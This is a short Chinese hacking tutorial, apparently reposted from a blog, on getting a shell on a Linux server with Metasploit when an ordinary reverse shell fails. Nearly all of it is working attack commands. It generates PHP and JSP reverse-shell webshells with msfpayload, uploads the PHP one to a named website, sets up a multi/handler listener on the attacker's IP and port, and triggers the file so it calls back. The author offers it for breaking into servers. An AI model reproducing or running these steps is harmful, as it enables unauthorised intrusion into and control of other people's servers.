當LINUX提權反彈不了時.經常遇到這種情況 請出MSF ..

1 .生成WEBSHELL文件
msf > msfpayload php/reverse_php LHOST=你的IP LPORT=端口 R > dis9.php
我的BT4是在/ROOT/ 目錄 然后吧dis9.php加 才能運行
把dis9.php傳進你的SHELL里 例如 www.91ri.org/dis9.php

?

2 . 然后MSF設置接口模板和參數
msf > use multi/handler //進入 multi/handler 接口
msf exploit(handler) > set PAYLOAD php/reverse_php //寫入模塊 不清楚的可以先 info php/reverse_php 看看介紹
msf exploit(handler) > set LHOST 你的IP //生成dis9.php的LHOST的IP 也就是你的IP 要一樣
msf exploit(handler) > set LPORT 8080 //同上
msf exploit(handler) > exploit //執行

?

3.反彈SHELL
然后訪問你的dis9.php
root@bt4:links www.91ri.org/dis9.php
這樣就會反彈一個SHELL
我們就可以繼續FUCK ALL

/
JSP
msfpayload java/jsp_shell_reverse_tcp LHOST=192.168.10.1 R > balckrootkit.jsp
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD java/jsp_shell_reverse_tcp
set PAYLOAD java/jsp_shell_reverse_tcp
msf exploit(handler) > set LHOST 192.168.10.1
LHOST => 192.168.10.1
——————————————————-
這里沒SET端口 默認的4444

轉載于:https://www.cnblogs.com/mujj/articles/2184641.html

總結

以上是生活随笔為你收集整理的当Linux提权不能反弹Shell时利用metasploit进行提权的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。